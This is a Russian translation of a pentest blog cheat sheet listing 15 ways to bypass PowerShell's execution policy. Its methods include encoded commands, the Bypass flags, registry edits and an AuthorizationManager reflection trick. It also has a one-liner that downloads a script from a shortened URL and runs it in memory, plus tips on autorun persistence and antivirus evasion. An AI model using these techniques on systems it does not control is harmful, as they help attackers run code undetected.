15 способов отключить политику выполнения PowerShell (PowerShell Execution Policy)

 По умолчанию PowerShell настроен на предотвращение выполнения сценариев PowerShell в системах Windows. Это может быть препятствием для тестеров проникновения, системных администраторов и разработчиков, но это не обязательно. В этом блоге я расскажу о 15 способах обхода политики выполнения PowerShell, не имея прав локального администратора в системе. Я уверен, что есть много методов, которые я пропустил (или просто не знаю), но, надеюсь, эта шпаргалка станет хорошим началом для тех, кто в ней нуждается.

Что такое политика выполнения PowerShell?

Политика выполнения PowerShell - это параметр, который определяет, какой тип сценариев PowerShell (если они есть) можно запустить в системе. По умолчанию установлено значение «Restricted (Ограничено)», что в основном означает «нет». Однако важно понимать, что этот параметр никогда не предназначался для контроля безопасности. Вместо этого он был предназначен для того, чтобы администраторы не стреляли себе в ногу. Вот почему есть так много вариантов, чтобы обойти это. Включая несколько, которые предоставила Microsoft.

Почему я хочу отключить политику выполнения?

Автоматизация кажется одним из наиболее распространенных ответов, которые я слышу от людей, но ниже приведены несколько других причин, по которым PowerShell стал настолько популярным среди администраторов, пентестеров и хакеров. PowerShell - это:

· Родной для Windows

· Возможность вызова Windows API

· Возможность запуска команд без записи на диск

· Возможность избежать обнаружения Антивирусом

· Уже помечены как «доверенные» большинством приложений из белого списка

· Среда, используемая для написания многих инструментов Pentest с открытым исходным кодом.

Как просмотреть политику выполнения

Прежде чем использовать все замечательные функции, которые может предложить PowerShell, злоумышленникам, возможно, придется обойти «ограниченную» политику выполнения. Вы можете посмотреть текущую конфигурацию с помощью команды PowerShell «Get-ExectionPolicy». Если вы смотрите на настройку в первый раз, скорее всего, она установлена на «Restricted», как показано ниже.

PS C:> Get-ExecutionPolicy


Стоит также отметить, что политика выполнения может быть установлена на разных уровнях в системе. Чтобы просмотреть их список, используйте команду ниже.

Get-ExecutionPolicy -List | Format-Table -AutoSize


Примечания по настройке лаборатории

В приведенных ниже примерах я буду использовать скрипт с именем runme.ps1, который содержит следующую команду PowerShell для записи сообщения в консоль:

Write-Host "My voice is my passport, verify me."

Когда я пытаюсь выполнить его в системе, настроенной с помощью политики выполнения по умолчанию, я получаю следующую ошибку:


Если ваша текущая политика слишком открыта, и вы хотите сделать ее более строгой, чтобы протестировать приведенные ниже методы, запустите команду «Set-ExecutionPolicy Restricted» из консоли администратора PowerShell. Хорошо, хватит болтовни, ниже приведены 15 способов обойти ограничения политики выполнения PowerShell.

Обход политики выполнения PowerShell

1. Вставьте сценарий в интерактивную консоль PowerShell

Скопируйте и вставьте сценарий PowerShell в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями вашего текущего пользователя. Это самый простой пример, который может быть полезен для запуска быстрых сценариев, когда у вас есть интерактивная консоль. Кроме того, этот метод не приводит к изменению конфигурации и не требует записи на диск.

2. Отобразите сценарий и отправьте его в стандарт PowerShell

Просто добавьте ваш сценарий (ECHO) в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -


3. Считывание скрипта из файла и конвейера в стандартный ввод PowerShell

Используйте команду «type» для Windows или PowerShell «Get-Content», чтобы прочитать сценарий с диска и направить его в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации, но требует записи вашего скрипта на диск. Однако вы можете прочитать его с общего сетевого ресурса, если пытаетесь избежать записи на диск.

Пример 1: команда Get-Content PowerShell

Get-Content .runme.ps1 | PowerShell.exe -noprofile -


Пример 2: команда Type

TYPE .runme.ps1 | PowerShell.exe -noprofile -


4. Скачать скрипт из URL и выполнить с выражением Invoke

Этот метод можно использовать для загрузки сценария PowerShell из Интернета и его запуска без необходимости записи на диск. Это также не приводит к изменениям конфигурации. Я видел, как он использовался во многих творческих способах, но совсем недавно я видел, что на него ссылается в хорошем блоге PowerSploit Мэтт Грейбер.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"


5. Используйте переключатель Command

Этот метод очень похож на выполнение скрипта с помощью копирования и вставки, но это можно сделать без интерактивной консоли. Это удобно для простого выполнения сценария, но более сложные сценарии обычно заканчиваются ошибками синтаксического анализа. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Пример 1: Полная команда

Powershell -command "Write-Host 'My voice is my passport, verify me.'"


Пример 2: Короткая команда

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

Также стоит отметить, что вы можете поместить эти типы команд PowerShell в командные файлы и поместить их в места автозапуска (например, в папку автозагрузки всех пользователей), чтобы помочь во время повышения привилегий.

6. Используйте переключатель EncodeCommand

Это очень похоже на переключатель «Command», но все сценарии предоставляются в виде строки в кодировке Unicode/base64. Такое кодирование вашего сценария помогает избежать всех тех неприятных ошибок синтаксического анализа, с которыми вы сталкиваетесь при использовании переключателя «Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Образец ниже взят из Posh-SecMod. Этот же инструментарий включает в себя приятный небольшой метод сжатия, позволяющий уменьшить размер закодированных команд, если они становятся слишком длинными.

Пример 1: Полная команда

$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command$encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand


Пример 2: Короткая команда с использованием закодированной строки

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

7. Используйте команду Invoke-Command

Это забавная опция, с которой я столкнулся в блоге Obscuresec. Обычно он выполняется через интерактивную консоль PowerShell или один вкладыш с помощью переключателя «Command», но здорово то, что его можно использовать для выполнения команд на удаленных системах, в которых включено удаленное взаимодействие PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}


Опираясь на блог Obscuresec, приведенная ниже команда также может быть использована для получения политики выполнения с удаленного компьютера и ее применения на локальном компьютере.

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

8. Используйте команду Invoke-Expression

Это еще один, который обычно выполняется через интерактивную консоль PowerShell или однострочник с помощью переключателя «Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Ниже я перечислил несколько распространенных способов использования выражения-выражения для обхода политики выполнения.

Пример 1: Полная команда с использованием Get-Content

Get-Content .runme.ps1 | Invoke-Expression


Пример 2: короткая команда с использованием Get-Content

GC .runme.ps1 | iex

9. Используйте флаг политики выполнения «Bypass»

Это хороший флаг, добавленный Microsoft, который будет обходить политику выполнения, когда вы выполняете сценарии из файла. Когда этот флаг используется, Microsoft заявляет, что «Ничто не заблокировано и нет предупреждений или подсказок». Этот метод не приводит к изменению конфигурации и не требует записи на диск.

PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1

10. Использовать флаг политики выполнения «Unrestricted»

Это похоже на флаг «Bypass». Однако, когда этот флаг используется, Microsoft заявляет, что «загружает все файлы конфигурации и запускает все сценарии. Если вы запускаете неподписанный скрипт, который был загружен из Интернета, вам будет предложено разрешение перед его выполнением». Этот метод не приводит к изменению конфигурации и не требует записи на диск.

PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1


11. Используйте флаг политики выполнения с удаленной подписью «Remote-Signed»

Создайте сценарий и следуйте инструкциям, написанным Карлосом Пересом (http://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html ), чтобы подписать его. Наконец, запустите его, используя команду ниже:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1

12. Отключите ExecutionPolicy, заменив AuthorizationManager

Это действительно творческий, с которым я столкнулся на http://www.nivot.org . Приведенную ниже функцию можно выполнить через интерактивную консоль PowerShell или с помощью переключателя «команда». Как только функция вызывается, она заменяет «AuthorizationManager» на Null. В результате политика выполнения, по существу, устанавливается неограниченной на оставшуюся часть сеанса. Этот метод не приводит к постоянному изменению конфигурации и не требует записи на диск. Тем не менее, это изменение будет применяться в течение всего сеанса.

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}  Disable-ExecutionPolicy .runme.ps1


13. Установите ExcutionPolicy для области действия Process

Как мы видели во введении, политика выполнения может применяться на многих уровнях. Это включает в себя процесс, который вы контролируете. Используя эту технику, политика выполнения может быть установлена неограниченно на время вашей Сессии. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break (http://roo7break.co.uk/?page_id=611 ).

Set-ExecutionPolicy Bypass -Scope Process


14. Установите ExcutionPolicy для области действия CurrentUser с помощью команды

Этот параметр аналогичен области действия процесса, но постоянно применяет этот параметр к среде текущего пользователя, изменяя раздел реестра. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break (http://roo7break.co.uk/?page_id=611 )

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted


15. Установите ExcutionPolicy для области CurrentUser через реестр

В этом примере я показал, как постоянно изменять политику выполнения для среды текущего пользователя, напрямую изменяя раздел реестра.

HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell


Подведение итогов

Я думаю, что тема здесь в том, что политика выполнения не должна быть препятствием для разработчиков, администраторов или пентестеров. Microsoft никогда не предназначала это для контроля безопасности. Вот почему есть так много вариантов, чтобы обойти это. Microsoft была достаточно хороша, чтобы предоставить некоторые нативные опции, и сообщество безопасности также придумало действительно забавные трюки. Спасибо всем тем людям, которые внесли свой вклад через блоги и презентации.